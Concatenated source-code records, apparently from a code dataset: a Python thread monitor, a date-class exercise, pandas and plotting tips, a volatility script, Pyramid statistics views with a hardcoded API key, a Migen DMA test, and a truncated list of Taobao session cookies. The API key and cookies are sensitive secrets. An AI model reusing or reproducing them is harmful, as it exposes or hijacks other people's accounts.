is_collector_running(), running_collectors(), died_collectors().\n Additionally, they are never used from the manager.\n Args:\n poll_freq: Frequency in seconds or fractions thereof to poll activities and check\n for new activities to start or drop.\n exit_event: External event to set to signal the monitor and the activities to exit.\n logger: Parent logger object. The monitor requests a child logger with getChild(),\n and the logger is also passed on to started activities.\n \"\"\"\n def __init__(self, *,\n poll_freq: float,\n exit_event: Event, logger: logging.Logger) -> None:\n # monitor arguments\n assert poll_freq > 0, f'{CollectorMonitor.__name__} should use a strictly positive poll frequency'\n self._poll_freq = poll_freq\n\n # activity common arguments\n self._exit_event = exit_event\n\n # loggers\n self._parent_logger = logger # logger to pass to activities\n self._logger: logging.Logger = logger.getChild(CollectorMonitor.__name__)\n\n # monitor state\n self._collectors: Dict[Collectors, CollectorTuple] = {}\n self._to_drop_queue: Deque[Collectors] = deque() # queue of collector to remove once exited\n self._register_queue = Queue() # element type: Tuple[Collector, Dict[str, Any]]\n self._deregister_queue = Queue() # element type: Collector\n\n def add_collector(self, *, collector: Collectors, args: Dict[str, Any]) -> None:\n \"\"\"Register a collector activity in the monitor.\n This method queues the collector to be started. The collector is started from the thread\n running the monitor. Until the activity is removed by a call to drop_collector(),\n the monitor will keep the collector alive and restart it if necessary.\n Args:\n collector: The collector type to register.\n args: The arguments to start the collector activity with.\n Note:\n The external interface to the monitor can only see a collector once it is started.\n Therefore it is possible to add the same collector multiple times if the monitor\n is not able to process the added collectors fast enough. If the an already added\n collector is encountered in the internal startup code it is logged as an error,\n and the duplicate collector is left unstarted and dropped.\n Thus it is advisable to take care not to add duplicate collectors.\n Raises:\n ValueError: If a collector with the same type is already registered and started.\n See the above note.\n \"\"\"\n if collector in self._collectors:\n # TODO consider more robust _collector check\n # This is safe because of the GIL and that we are using threads\n raise ValueError(f'Collector {collector.name} already registered')\n self._register_queue.put((collector, args))\n\n def drop_collector(self, collector: Collectors) -> None:\n \"\"\"De-register a started collector from the monitor.\n Args:\n collector: The collector to deregister.\n Note:\n The external interface to the monitor can only see a collector once it is started.\n Therefore it is possible that drop_collector() raises ValueError even though\n the collector have been added if the thread running the monitor have failed to add\n the collector between the calls to add_collector() and drop_collector().\n Raises:\n ValueError: If no such collector have been registered _and_ started.\n See the above note.\n \"\"\"\n if collector not in self._collectors:\n # TODO consider more robust _collector check\n # This is safe because of the GIL and that we are using threads\n raise ValueError(f'Collector {collector.name} is not registered')\n self._deregister_queue.put(collector)\n\n def is_collector_running(self, collector: Collectors) -> bool:\n \"\"\"Query if a specific collector is running.\"\"\"\n # TODO consider more robust _collector check\n # This is safe because of the GIL and that we are using threads\n return collector in self._collectors and self._collectors[collector].thread.is_alive()\n\n def running_collectors(self) -> List[Collectors]:\n \"\"\"Return a list of the running collector types.\"\"\"\n # TODO consider more robust _collector retrieval\n # This is safe because of the GIL and that we are using threads\n return list(collector\n for collector in self._collectors\n if self._collectors[collector].thread.is_alive())\n\n def died_collectors(self) -> List[Collectors]:\n \"\"\"Return a list of collector types that is not running, yet still registered.\"\"\"\n # TODO consider more robust _collector retrieval\n # This is safe because of the GIL and that we are using threads\n return list(collector\n for collector in self._collectors\n if not self._collectors[collector].thread.is_alive())\n\n def __call__(self) -> None:\n \"\"\"Monitor execution loop.\"\"\"\n self._exit_event.clear() # reset\n while not self._should_exit():\n self._logger.info('Performing activity monitoring')\n self._monitoring_step()\n sleep(self._poll_freq)\n\n self._logger.info(f'Monitor exiting')\n\n def _should_exit(self) -> bool:\n \"\"\"Determines if the monitor should exit.\"\"\"\n if self._exit_event.is_set():\n if len(self._collectors) > 0:\n self._logger.warning('Waiting for collectors to exit')\n else:\n return True\n return False\n\n def _monitoring_step(self) -> None:\n \"\"\"Perform the monitoring tasks.\"\"\"\n # if there are collectors waiting to start -> start them\n while not self._register_queue.empty():\n collector, args = self._register_queue.get()\n self._start_collector(collector, args)\n\n sleep(0.) # force synchronization and context switch\n\n # if there are collectors that are requested to exit -> signal them to exit\n while not self._deregister_queue.empty():\n collector = self._deregister_queue.get()\n self._drop_collector(collector)\n\n sleep(0.) # force synchronization and context switch\n\n # if there are collectors we plan to remove -> try to drop them\n retry_queue = deque()\n while len(self._to_drop_queue) > 0:\n collector = self._to_drop_queue.pop()\n self._do_drop_collector(collector, retry_queue)\n self._to_drop_queue.extend(retry_queue)\n\n sleep(0.) # force synchronization and context switch\n\n # poll each collector and check check if they are alive\n for collector in self._collectors:\n self._poll_collector(collector)\n\n def _start_collector(self, collector: Collectors, args: Dict[str, Any], *, restart: bool=False) -> None:\n \"\"\"Start and register a collector in the monitor.\"\"\"\n if not restart:\n self._logger.info(f'Starting collector activity: {collector.name}')\n else:\n self._logger.info(f'Restarting collector activity: {collector.name}')\n\n # only start a collector once!\n if not restart and collector in self._collectors:\n self._logger.error(f'Trying to start collector {collector.name}, but it is already started')\n return\n elif restart and collector not in self._collectors:\n self._logger.error(f'Trying to restart collector {collector.name}, but it is not already registered')\n return\n\n # startup logic\n activity = collector.value(\n **args,\n exit_event=self._exit_event, logger=self._parent_logger,\n )\n thread = Thread(name=activity.name, target=activity, daemon=True)\n self._collectors[collector] = CollectorTuple(\n collector=collector, thread=thread,\n activity=activity, args=args,\n )\n thread.start()\n\n def _drop_collector(self, collector: Collectors) -> None:\n \"\"\"Signal a collector to stop. Actual removal is done in _do_drop_collector().\"\"\"\n\n self._logger.info(f'Signalling collector activity to exit: {collector.name}')\n\n if collector not in self._collectors:\n self._logger.error(f'Requesting to drop not registered collector: {collector.name}')\n return\n\n if self._collectors[collector].activity.exiting():\n self._logger.warning(f'Collector already requested to exit: {collector.name}')\n\n # add the collector to the list of collectors to remove, and signal it to exit\n self._to_drop_queue.append(collector)\n self._collectors[collector].activity.exit()\n\n def _do_drop_collector(self, collector: Collectors, retry_queue: Deque[Collectors]) -> None:\n \"\"\"Query if the collector activity is running, and drop it if it is dead.\"\"\"\n\n self._logger.info(f'Attempting to exit collector activity: {collector.name}')\n\n if collector not in self._collectors:\n self._logger.error(f'Attempting to drop not started collector: {collector.name}')\n return\n\n collector_tup = self._collectors[collector]\n if not collector_tup.thread.is_alive():\n # it is dead -> remove it\n del self._collectors[collector]\n else:\n self._logger.warning(f'Dropped collector have not yet exited: {collector.name}')\n retry_queue.append(collector)\n\n def _poll_collector(self, collector: Collectors) -> None:\n \"\"\"Poll collectors and check if they are alive.\"\"\"\n\n self._logger.info(f'Polling collector activity: {collector.name}')\n\n collector_tup: CollectorTuple = self._collectors[collector]\n if not collector_tup.activity.exiting():\n if not collector_tup.thread.is_alive():\n # log error\n message = f'Collector activity exited unexpectedly: {collector.name}'\n error: Exception = collector_tup.activity.get_error()\n if error is not None:\n message += f'\\nWith error:\\n{str(error)}'\n else:\n message += f'\\nNo error available.'\n self._logger.error(message)\n\n # attempt to restart\n self._start_collector(collector_tup.collector, collector_tup.args, restart=True)\n elif not collector_tup.thread.is_alive():\n self._to_drop_queue.append(collector)\n","repo_name":"andressl91/Houseprices","sub_path":"ap/harvester/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":17960,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"71104064730","text":"class The_date:\n def __init__(self, string_date):\n self.string_date = string_date\n\n def __str__(self):\n return self.string_date\n\n @classmethod\n def date_numbers(cls, string_date):\n number = []\n for el in string_date.split('-'):\n number.append(int(el))\n return number\n\n @staticmethod\n def real_data(string_date):\n number = []\n for el in string_date.split('-'):\n number.append(int(el))\n if 0 < number[0] <= 31 and 0 < number[1] <= 12 and number[2] > 0:\n return f'{string_date}'\n else:\n return f'не верно задана дата'\n\n\nthe_date1 = The_date('29-05-2022')\nprint(the_date1)\nprint(the_date1.date_numbers('15-05-2022'))\nprint(the_date1.real_data('11-05-2022'))\nprint(the_date1.real_data('32-05-2022'))\n","repo_name":"tigoda/alekseeva_kristina_dz","sub_path":"1чт_основы Python/dz_11/dz11_1.py","file_name":"dz11_1.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"42417066634","text":"# Correlation plot\nhouses = pd.read_csv('data/melb_data.csv')\n\n## Calculate pairwise-correlation\nmatrix = houses.corr()\n\n## Create a mask\nmask = np.triu(np.ones_like(matrix, dtype=bool))\n\n## Create a custom diverging palette\ncmap = sns.diverging_palette(250, 15, s=75, l=40,\n n=9, center=\"light\", as_cmap=True)\n\nplt.figure(figsize=(16, 12))\n\nsns.heatmap(matrix, mask=mask, center=0, annot=True,\n fmt='.2f', square=True, cmap=cmap)\n\nplt.show();\n\n# Include Missing Values in value_counts\n\nhouses.CouncilArea.value_counts(dropna=False, normalize=True).head()\n## proportion of missing values across all columns,\n\nmissing_props = houses.isna().sum() / len(houses)\nmissing_props[missing_props > 0].sort_values(ascending=False)\n\n# Using Pandas DataFrame Styler\ndiamonds = sns.load_dataset('diamonds')\n\npd.crosstab(diamonds.cut, diamonds.clarity).\\\n style.background_gradient(cmap='rocket_r')\n\n# Finding the average price of each diamond cut and clarity combination in crosstab\npd.crosstab(diamonds.cut, diamonds.clarity,\n aggfunc=np.mean, values=diamonds.price).\\\n style.background_gradient(cmap='flare')\n \n \nagg_prices = pd.crosstab(diamonds.cut, diamonds.clarity,\n aggfunc=np.mean, values=diamonds.price).\\\n style.background_gradient(cmap='flare')\n\nagg_prices.format('{:.2f}')\n\n# Configuring Global Plot Settings With Matplotlib\n\nfrom matplotlib import rcParams\n\nrcParams\n\n## set a fixed figure size, tick label font size, and a few others:\n\n## Remove top and right spines\nrcParams['axes.spines.top'] = False\nrcParams['axes.spines.right'] = False\n\n## Set fixed figure size\nrcParams['figure.figsize'] = [12, 9]\n\n## Set dots per inch to 300, very high quality images\nrcParams['figure.dpi'] = 300\n\n## Enable autolayout\nrcParams['figure.autolayout'] = True\n\n## Set global fontsize\nrcParams['font.style'] = 16\n\n## Fontsize of ticklabels\nrcParams['xtick.labelsize'] = 10\nrcParams['ytick.labelsize'] = 10\n\n# Configuring Global Settings of Pandas\n\npd.set_option('display.max_columns', None)\n\n## revert back to the default setting with\npd.reset_option('display.max_columns')\n\n## Plotly is becoming vastly popular, so it would be nice to set it as default plotting backed for pandas. \n## By doing so, you will get interactive plotly diagrams whenever you call .plot on pandas DataFrames\npd.set_option('plotting.backend', 'plotly')\n\n\n## To apply certain code block\ndf = pd.DataFrame(np.random.randn(5, 5))\npd.reset_option('display.max_rows')\nwith pd.option_context('float_format', '{:f}'.format):\n df.describe()\n","repo_name":"mmasud/Tricks-and-best-practices","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":2626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"74908033691","text":"from matplotlib.pyplot import figure, legend, plot, show\nimport pandas as pd\nimport seaborn\n\nimport volatility as vm\n\n\ndef main():\n data = pd.read_csv('AAPL.csv', index_col=0, parse_dates=True)\n data.sort_index(inplace=True)\n # There was a stock split on 9th June 2014, so we work prior to this date\n # as we're using non-adjusted data\n data = data[-1000:-100]\n\n # We don't use the adjusted close in this example, as the Parkinson\n # model uses high and low prices which are not adjusted\n std_dev = vm.population_std_dev(data['Close'], 20)\n parkinson_vol = vm.parkinson_std_dev(data['High'], data['Low'], 20)\n\n fig = figure()\n fig.add_subplot(2, 1, 1)\n plot(data['High'], label='High')\n plot(data['Low'], label='Low')\n plot(data['Close'], label='Close')\n legend()\n\n fig.add_subplot(2, 1, 2)\n plot(std_dev, label='Close to close')\n plot(parkinson_vol, label='Parkinson')\n legend()\n\n show()\n\n\nif __name__ == '__main__':\n main()","repo_name":"conor10/examples","sub_path":"python/parkinson_volatility/compare_models.py","file_name":"compare_models.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"32"} +{"seq_id":"20546204637","text":"import os\nimport json\nimport csv\nimport sys\nfrom datetime import datetime, timedelta, date\nfrom decimal import Decimal\nfrom collections import defaultdict\n\nimport urllib2\nfrom tempfile import NamedTemporaryFile\n\nfrom pyramid.view import view_config\nfrom pyramid.httpexceptions import HTTPNotFound\nfrom pyramid.response import FileResponse\nfrom pyramid.security import Everyone\nfrom sqlalchemy import desc\n\nHERE = os.path.dirname(os.path.abspath(__file__))\nsys.path.append(os.path.join(HERE, '../..'))\nsys.path.append(os.path.join(HERE, '../../zabbix/agents'))\n\nfrom spider_stats import SpiderStatsDB, SDBSession, WORKER_SERVERS, SpiderStats\n\nfrom models import DBSession, Spider, Account, WorkerServer, Crawl, CrawlHistory, CrawlStats\n\n@view_config(route_name='server_stats', renderer='server_stats.mako', permission='administration')\ndef server_stats(request):\n return {}\n\n\n@view_config(route_name='current_server_stats', renderer='json', permission='administration')\ndef current_server_stats(request):\n db_session = SDBSession()\n spider_stats = SpiderStatsDB(db_session)\n current_stats = spider_stats.get_current_stats()\n statuses = {'scheduled': [], 'running': [], 'errors': [], 'finished': []}\n categories = ['total'] + sorted([x for x in current_stats if x != 'total'])\n for x in categories:\n for s in statuses:\n statuses[s].append(current_stats[x][s])\n\n server_name = {'total': 'Total'}\n for server in WORKER_SERVERS:\n server_name[str(server['id'])] = server['name']\n\n res = {'categories': [server_name[str(c)] for c in categories]}\n res.update(statuses)\n return res\n\n@view_config(route_name='current_spider_stats', renderer='json', permission='administration')\ndef current_spider_stats(request):\n db_session = DBSession()\n spider_stats = SpiderStats(db_session)\n stats = spider_stats.get_global_stats(WORKER_SERVERS)\n res = []\n spider_names = []\n for worker in WORKER_SERVERS:\n scheduled_on_worker = stats[worker['id']]['scheduled_on_worker']\n scheduled_on_worker_count = len(scheduled_on_worker)\n for i, s in enumerate(scheduled_on_worker):\n res.append({'pos': str(i + 1), 'spider': s['spider'], 'server': worker['name'],\n 'status': 'Scheduled on Worker', 'start_time': ''})\n spider_names.append(s['spider'])\n scheduled = stats[worker['id']]['scheduled']\n for i, spider_name in enumerate(scheduled):\n res.append({'pos': str(scheduled_on_worker_count + i + 1), 'spider': spider_name, 'server': worker['name'],\n 'status': 'Scheduled', 'start_time': ''})\n spider_names.append(spider_name)\n running = stats[worker['id']]['running']\n for s in running:\n start_time = s['start_time']\n if worker.get('delta_time'):\n start_time += worker['delta_time']\n\n res.append({'pos': '', 'spider': s['spider'], 'server': worker['name'], 'status': 'Running',\n 'start_time': str(start_time)})\n spider_names.append(s['spider'])\n\n scheduled = spider_stats.get_total_scheduled()\n scheduled = [spider_name for spider_name in scheduled if spider_name not in spider_names]\n for i, spider_name in enumerate(scheduled):\n res.append({'pos': str(i + 1), 'spider': spider_name, 'server': '',\n 'status': 'Scheduled', 'start_time': ''})\n spider_names.append(spider_name)\n\n accounts = db_session.query(Account.name.label('account'), Spider.name.label('spider'))\\\n .join(Spider).filter(Spider.name.in_(spider_names))\n accounts = {a.spider: a.account for a in accounts}\n for r in res:\n r['account'] = accounts.get(r['spider'], '')\n\n return res\n\n\n@view_config(route_name='historical_server_stats', renderer='json', permission='administration')\ndef historical_server_stats(request):\n db_session = SDBSession()\n spider_stats = SpiderStatsDB(db_session)\n stats = spider_stats.get_historical_stats(from_=datetime.now() - timedelta(hours=23, minutes=59))\n statuses = {'scheduled': [], 'running': [], 'errors': [], 'finished': []}\n for stat in stats:\n data = stat['stats']\n date_ = int((stat['time'] - datetime(1970,1,1)).total_seconds()) * 1000\n for s in statuses:\n statuses[s].append([date_, data['total'][s]])\n\n return statuses\n\n@view_config(route_name='app_stats', renderer='app_stats.mako', permission='administration')\ndef app_stats(request):\n return {}\n\n\ndef sizeof_fmt(num, suffix='B'):\n for unit in ['','K','M','G','T','P','E','Z']:\n if abs(num) < 1024.0:\n return \"%3.1f%s%s\" % (num, unit, suffix)\n num /= 1024.0\n return \"%.1f%s%s\" % (num, 'Yi', suffix)\n\n@view_config(route_name='importer_stats', renderer='json', permission='administration')\ndef importer_stats(request):\n change_type = request.GET.get('type', '')\n res = urllib2.urlopen('https://app.competitormonitor.com/api/get_importer_stats.json?api_key=3Df7mNg').read()\n res = json.loads(res)\n res = res[change_type]\n formatted = []\n for r in res:\n r['size'] = sizeof_fmt(r['size'])\n if 'account' in r:\n formatted.append(r)\n\n return formatted\n\n@view_config(route_name='spider_issues', renderer='spider_issues.mako', permission='administration')\ndef spider_issues(request):\n return {}\n\n@view_config(route_name='scheduled_issues', renderer='json', permission='administration')\ndef scheduled_issues(request):\n db_session = DBSession()\n errors = open('/tmp/failed_scheduled').read().split('\\n')\n errors = [e for e in errors if e]\n spiders = db_session.query(Spider, Account, WorkerServer)\\\n .join(Account).join(Crawl, Crawl.spider_id == Spider.id)\\\n .outerjoin(WorkerServer, Spider.worker_server_id == WorkerServer.id)\\\n .filter(Spider.name.in_(errors), Crawl.status == 'scheduled')\n result = []\n for spider in spiders:\n result.append({'account': spider.Account.name, 'spider': spider.Spider.name,\n 'url': '/productspiders/last_log_file?spider=' + spider.Spider.name,\n 'server': spider.WorkerServer.name if spider.WorkerServer else ''})\n\n return result\n\n@view_config(route_name='restart_scheduled', renderer='json', permission='administration')\ndef restart_scheduled(request):\n db_session = DBSession()\n spiders = request.POST.get('spiders')\n spiders = json.loads(spiders)\n spiders = db_session.query(Spider).filter(Spider.name.in_(spiders)).all()\n spider_ids = [s.id for s in spiders]\n for spider_id in spider_ids:\n crawl = db_session.query(Crawl).filter(Crawl.spider_id == spider_id,\n Crawl.status == 'scheduled_on_worker').first()\n if crawl:\n db_session.query(CrawlStats).filter(CrawlStats.crawl_id == crawl.id).delete()\n db_session.query(CrawlHistory).filter(CrawlHistory.crawl_id == crawl.id).delete()\n db_session.query(Crawl).filter(Crawl.id == crawl.id).delete()\n\n@view_config(route_name='spider_events', permission=Everyone)\ndef spider_events(request):\n db_session = DBSession()\n d = request.GET.get('date')\n if not d:\n return HTTPNotFound()\n\n try:\n d = d.split('-')\n d = date(year=int(d[0]), month=int(d[1]), day=int(d[2]))\n except Exception:\n return HTTPNotFound()\n\n q = db_session.query(Crawl, Spider, Account).join(Spider).join(Account)\n q = q.filter(Crawl.crawl_date == d).order_by(Crawl.start_time)\n f = NamedTemporaryFile(delete=False, suffix='.csv')\n writer = csv.writer(f)\n writer.writerow(['Spider', 'Account', 'Scheduled Start Time',\n 'Time Taken to Start', 'Actual Start Time',\n 'End Time',\n 'Time Taken', 'Upload Time'])\n\n def format_time(t):\n if not t:\n return ''\n else:\n return t.strftime('%Y-%m-%d %H:%M:%S')\n\n for res in q.yield_per(100):\n writer.writerow([res.Spider.name, res.Account.name, format_time(res.Crawl.scheduled_time),\n str(res.Crawl.start_time - res.Crawl.scheduled_time).split('.')[0]\n if res.Crawl.start_time and res.Crawl.scheduled_time else '',\n format_time(res.Crawl.start_time), format_time(res.Crawl.end_time),\n str(res.Crawl.end_time - res.Crawl.start_time).split('.')[0]\n if res.Crawl.start_time and res.Crawl.end_time else '',\n format_time(res.Crawl.uploaded_time)])\n f.close()\n r = FileResponse(f.name, request=request, content_type='text/csv')\n\n return r\n\n\ndef get_perc(total, changes):\n if not total:\n return Decimal(0)\n else:\n return (Decimal(changes) * 100) / Decimal(total)\n\ndef get_crawl_stats(crawl_id, path):\n field = defaultdict(int)\n with open(os.path.join(path, 'data/additional/{}_changes.json-lines'.format(crawl_id))) as f:\n for line in f:\n data = json.loads(line)\n for f in data['changes']:\n field[f] += 1\n field['total changes'] += 1\n\n return field\n\n\n@view_config(route_name='additional_changes_stats', permission=Everyone)\ndef additional_changes_stats(request):\n db_session = DBSession()\n d = request.GET.get('date')\n if not d:\n return HTTPNotFound()\n\n try:\n d = d.split('-')\n d = date(year=int(d[0]), month=int(d[1]), day=int(d[2]))\n except Exception:\n return HTTPNotFound()\n\n spiders = db_session.query(Spider, Account).join(Account).filter(Spider.enabled == True,\n Account.enabled == True)\n final_stats = []\n\n for s in spiders.yield_per(50):\n try:\n crawl = db_session.query(Crawl).filter(Crawl.spider_id == s.Spider.id,\n Crawl.status == 'upload_finished',\n Crawl.crawl_date == d).order_by(desc(Crawl.id)).first()\n\n if crawl:\n stats = get_crawl_stats(crawl.id, '/home/innodev/product-spiders')\n row = {'account': s.Account.name, 'spider': s.Spider.name,\n 'total products': str(crawl.products_count),\n 'changes percentage': get_perc(crawl.products_count, stats['total changes'])}\n for k in stats:\n row[k] = str(stats[k])\n\n final_stats.append(row)\n except Exception:\n continue\n\n final_stats.sort(cmp=lambda x, y: cmp(int(x['total changes']), int(y['total changes'])), reverse=True)\n f = NamedTemporaryFile(suffix='.csv', delete=False)\n header = ['account', 'spider', 'total products',\n 'total changes', 'changes percentage', 'name', 'url',\n 'image_url', 'category', 'brand', 'sku', 'stock',\n 'shipping_cost', 'dealer', 'identifier']\n writer = csv.DictWriter(f, header)\n writer.writeheader()\n for row in final_stats:\n writer.writerow(row)\n f.close()\n r = FileResponse(f.name, request=request, content_type='text/csv')\n\n return r","repo_name":"Godsoo/scraping","sub_path":"e-commerce/CompetitorMonitor/productspidersweb/productspidersweb/server_stats_views.py","file_name":"server_stats_views.py","file_ext":"py","file_size_in_byte":11358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"1179702948","text":"from migen import *\nfrom hp_dma import *\n\ndef test(dut):\n yield from dut.addr_base.write(0x12340)\n yield from dut.n_bursts.write(3)\n\n for _ in range(5):\n yield\n\n yield dut.bus.ar.ready.eq(1)\n yield\n\n yield from dut.trigger.write(1)\n\n\n def deliver_read_word(w, last=False):\n yield dut.bus.r.data.eq(w)\n yield dut.bus.r.valid.eq(1)\n if last:\n yield dut.bus.r.last.eq(1)\n for _ in range(100):\n yield\n if (yield dut.bus.r.ready):\n yield dut.bus.r.valid.eq(0)\n yield dut.bus.r.last.eq(0)\n break\n\n yield\n N=(yield dut.bus.ar.len)+1\n\n for _ in range( (yield dut.n_bursts.storage)+1 ):\n for i in range(N):\n yield from deliver_read_word(2*i | (2*i+1)<<32, last=i==N-1)\n\n for _ in range(5):\n yield\n\n for _ in range(10):\n yield\n\n\nif __name__ == \"__main__\":\n dut = HP_DMA_READ()\n\n run_simulation(dut, test(dut), vcd_name=\"test.vcd\", clocks={\"sys\": 8})\n","repo_name":"cjbe/artiq-zynq","sub_path":"test_hp_dma.py","file_name":"test_hp_dma.py","file_ext":"py","file_size_in_byte":1036,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16582769380","text":"import requests\n\nHeader = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36\"\n}\n\nCOOKIE = [\n {\n \"domain\": \".taobao.com\",\n \"expirationDate\": 1663596112.198422,\n \"hostOnly\": False,\n \"httpOnly\": False,\n \"name\": \"_cc_\",\n \"path\": \"/\",\n \"sameSite\": \"no_restriction\",\n \"secure\": True,\n \"session\": False,\n \"storeId\": \"0\",\n \"value\": \"U%2BGCWk%2F7og%3D%3D\",\n \"id\": 1\n },\n {\n \"domain\": \".taobao.com\",\n \"hostOnly\": False,\n \"httpOnly\": False,\n \"name\": \"_l_g_\",\n \"path\": \"/\",\n \"sameSite\": \"no_restriction\",\n \"secure\": True,\n \"session\": True,\n \"storeId\": \"0\",\n \"value\": \"Ug%3D%3D\",\n \"id\": 2\n },\n {\n \"domain\": \".taobao.com\",\n \"expirationDate\": 1632636064.259613,\n \"hostOnly\": False,\n \"httpOnly\": False,\n \"name\": \"_m_h5_tk\",\n \"path\": \"/\",\n \"sameSite\": \"no_restriction\",\n \"secure\": True,\n \"session\": False,\n \"storeId\": \"0\",\n \"value\": \"3a219f608b5f9b5f370bcf4396d38180_1632040624346\",\n \"id\": 3\n },\n {\n \"domain\": \".taobao.com\",\n \"expirationDate\": 1632636064.259634,\n \"hostOnly\": False,\n \"httpOnly\": False,\n \"name\": \"_m_h5_tk_enc\",\n \"path\": \"/\",\n \"sameSite\": \"no_restriction\",\n \"secure\": True,\n \"session\": False,\n \"storeId\": \"0\",\n \"value\": \"ef35bfb64509c1f6cb21d66b99e657d6\",\n \"id\": 4\n },\n {\n \"domain\": \".taobao.com\",\n \"hostOnly\": False,\n \"httpOnly\": False,\n \"name\": \"_nk_\",\n \"path\": \"/\",\n \"sameSite\": \"no_restriction\",\n \"secure\": True,\n \"session\": True,\n \"storeId\": \"0\",\n \"value\": \"tb953803831502\",\n \"id\": 5\n },\n {\n \"domain\": \".taobao.com\",\n \"hostOnly\": False,\n \"httpOnly\": True,\n \"name\": \"_samesite_flag_\",\n \"path\": \"/\",\n \"sameSite\": \"no_restriction\",\n \"secure\": True,\n \"session\": True,\n \"storeId\": \"0\",\n \"value\": \"True\",\n \"id\": 6\n },\n {\n \"domain\": \".taobao.com\",\n \"hostOnly\": False,\n \"httpOnly\": False,\n \"name\": \"_tb_token_\",\n \"path\": \"/\",\n \"sameSite\": \"no_restriction\",\n \"secure\": True,\n \"session\": True,\n \"storeId\": \"0\",\n \"value\": \"b90e5453b8db\",\n \"id\": 7\n },\n {\n \"domain\": \".taobao.com\",\n \"hostOnly\": False,\n \"httpOnly\": False,\n \"name\": \"cancelledSubSites\",\n \"path\": \"/\",\n \"sameSite\": \"no_restriction\",\n \"secure\": True,\n \"session\": True,\n \"storeId\": \"0\",\n \"value\": \"empty\",\n \"id\": 8\n },\n {\n \"domain\": \".taobao.com\",\n \"expirationDate\": 2262751264,\n \"hostOnly\": False,\n \"httpOnly\": False,\n \"name\": \"cna\",\n \"path\": \"/\",\n \"sameSite\": \"no_restriction\",\n \"secure\": True,\n \"session\": False,\n \"storeId\": \"0\",\n \"value\": \"Zk9SGdQK/xwCASeYDwfEyG5T\",\n \"id\": 9\n },\n {\n \"domain\": \".taobao.com\",\n \"hostOnly\": False,\n \"httpOnly\": True,\n \"name\": \"cookie1\",\n \"path\": \"/\",\n \"sameSite\": \"no_restriction\",\n \"secure\": True,\n \"session\": True,\n \"storeId\": \"0\",\n \"value\": \"BxE3vzarRA4qJdZJxdXHLZRMm1fowQVnFFDS%2FU46bmY%3D\",\n \"id\": 10\n },\n {\n \"domain\": \".taobao.com\",\n \"hostOnly\": False,\n \"httpOnly\": True,\n \"name\": \"cookie17\",\n \"path\": \"/\",\n \"sameSite\": \"no_restriction\",\n \"secure\": True,\n \"session\": True,\n \"storeId\": \"0\",\n \"value\": \"UUpgRKuaNd0ZPQ9M8Q%3D%3D\",\n \"id\": 11\n },\n {\n \"domain\": \".taobao.com\",\n \"hostOnly\": False,\n \"httpOnly\": True,\n \"name\": \"cookie2\",\n \"path\": \"/\",\n \"sameSite\": \"no_restriction\",\n \"secure\": True,\n \"session\": True,\n \"storeId\": \"0\",\n \"value\": \"10f909677230a9cc45cd535aca383ec6\",\n \"id\": 12\n },\n {\n \"domain\": \".taobao.com\",\n \"hostOnly\": False,\n \"httpOnly\": False,\n \"name\": \"csg\",\n \"path\": \"/\",\n \"sameSite\": \"no_restriction\",\n \"secure\": True,\n \"session\": True,\n \"storeId\": \"0\",\n \"value\": \"1048d922\",\n \"id\": 13\n },\n {\n \"domain\": \".taobao.com\",\n \"hostOnly\": False,\n \"httpOnly\": False,\n \"name\": \"dnk\",\n \"path\": \"/\",\n \"sameSite\": \"no_restriction\",\n \"secure\": True,\n \"session\": True,\n \"storeId\": \"0\",\n \"value\": \"tb953803831502\",\n \"id\": 14\n },\n {\n \"domain\": \".taobao.com\",\n \"expirationDate\": 1947391313.257035,\n \"hostOnly\": False,\n \"httpOnly\": True,\n \"name\": \"enc\",\n \"path\": \"/\",\n \"sameSite\": \"no_restriction\",\n \"secure\": True,\n \"session\": False,\n \"storeId\": \"0\",\n \"value\": \"GjCPviG19nocqJhzuNrAQalMaakLJIeVW6rm2Z8rAzrzMgJybKeU9K%2FojpPrkOAhd0%2FMhSHvY2vCUXqfk3at4LWKcfGHq3bMD4bfTOVEoQs%3D\",\n \"id\": 15\n },\n {\n \"domain\": \".taobao.com\",\n \"hostOnly\": False,\n \"httpOnly\": False,\n \"name\": \"existShop\",\n \"path\": \"/\",\n \"sameSite\": \"no_restriction\",\n \"secure\": True,\n \"session\": True,\n \"storeId\": \"0\",\n \"value\": \"MTYzMjAzMTMxMg%3D%3D\",\n \"id\": 16\n },\n {\n \"domain\": \".taobao.com\",\n \"expirationDate\": 1663596114.553023,\n \"hostOnly\": False,\n \"httpOnly\": False,\n \"name\": \"hng\",\n \"path\": \"/\",\n \"sameSite\": \"no_restriction\",\n \"secure\": True,\n \"session\": False,\n \"storeId\": \"0\",\n \"value\": \"CN%7Czh-CN%7CCNY%7C156\",\n \"id\": 17\n },\n {\n \"domain\": \".taobao.com\",\n \"expirationDate\": 1647583327,\n \"hostOnly\": False,\n \"httpOnly\": False,\n \"name\": \"isg\",\n \"path\": \"/\",\n \"sameSite\": \"unspecified\",\n \"secure\": False,\n \"session\": False,\n \"storeId\": \"0\",\n \"value\": \"BHFxJsj7tEYt_hgDkfdlWR80gP0LXuXQdWXaclOGAThXepDMm6xDoEKQmA4csn0I\",\n \"id\": 18\n },\n {\n \"domain\": \".taobao.com\",\n \"expirationDate\": 1647583330,\n \"hostOnly\": False,\n \"httpOnly\": False,\n \"name\": \"l\",\n \"path\": \"/\",\n \"sameSite\": \"unspecified\",\n \"secure\": False,\n \"session\": False,\n \"storeId\": \"0\",\n \"value\": \"eBM8Lh84gYHyRKgbBOfwlurza77tAIRAguPzaNbMiOCP_ACe51ddW6FPeETwCnGVh6SkR35okuQ6BeYBqCVQUGiZIosM_Ckmn\",\n \"id\": 19\n },\n {\n \"domain\": \".taobao.com\",\n \"expirationDate\": 1634652112.198269,\n \"hostOnly\": False,\n \"httpOnly\": False,\n \"name\": 